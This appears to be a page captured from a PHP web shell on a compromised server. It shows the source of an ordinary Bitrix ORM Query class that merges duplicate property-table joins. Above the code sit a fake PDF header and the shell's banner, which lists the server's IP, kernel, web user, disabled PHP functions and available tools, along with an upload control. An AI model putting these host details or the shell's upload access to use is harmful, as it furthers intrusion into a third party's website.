%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.217.80.88 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/iblock/lib/orm/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage iblock * @copyright 2001-2018 Bitrix */ namespace Bitrix\Iblock\ORM; use Bitrix\Main\ORM\Query\Filter\ConditionTree; use Bitrix\Main\ORM\Query\Join; use Bitrix\Main\ORM\Query\Query as BaseQuery; /** * Separate query to fix PropertyValue emulation in 2.0 * Collapses similar joins to b_iblock_element_prop_sX table into one join * * @package bitrix * @subpackage iblock */ class Query extends BaseQuery { protected function buildJoin() { // collapse v2.0 single value joins into one if ($this->entity instanceof ElementV2Entity) { // table alias for all the records (cut b_ prefix) $propSTable = $this->entity->getSingleValueTableName(); $commonAlias = mb_substr($propSTable, 2); // found first join and changed alias. all other joins to be removed $changed = false; // table aliases to be changed in chains $replacedAliases = []; // 1. collapse joins foreach ($this->join_map as $k => $join) { // check join if ($join['table'] === $propSTable && $join['type'] === Join::TYPE_INNER) { /** @var ConditionTree[]|string[] $join */ $conditions = $join['reference']->getConditions(); // check on condition if (count($conditions) === 1 && $conditions[0]->getColumn() === 'ID' && $conditions[0]->getOperator() === '=') { // collect table aliases to rewrite in chains $replacedAliases[$join['alias']] = true; if (!$changed) { // make the only one change $this->join_map[$k]['alias'] = $commonAlias; $changed = true; } else { // remove from registry unset($this->join_map[$k]); } } } } // 2. rewrite aliases foreach ($this->global_chains as $chain) { if (!empty($replacedAliases[$chain->getLastElement()->getParameter('talias')])) { $chain->getLastElement()->setParameter('talias', $commonAlias); } } } return parent::buildJoin(); } }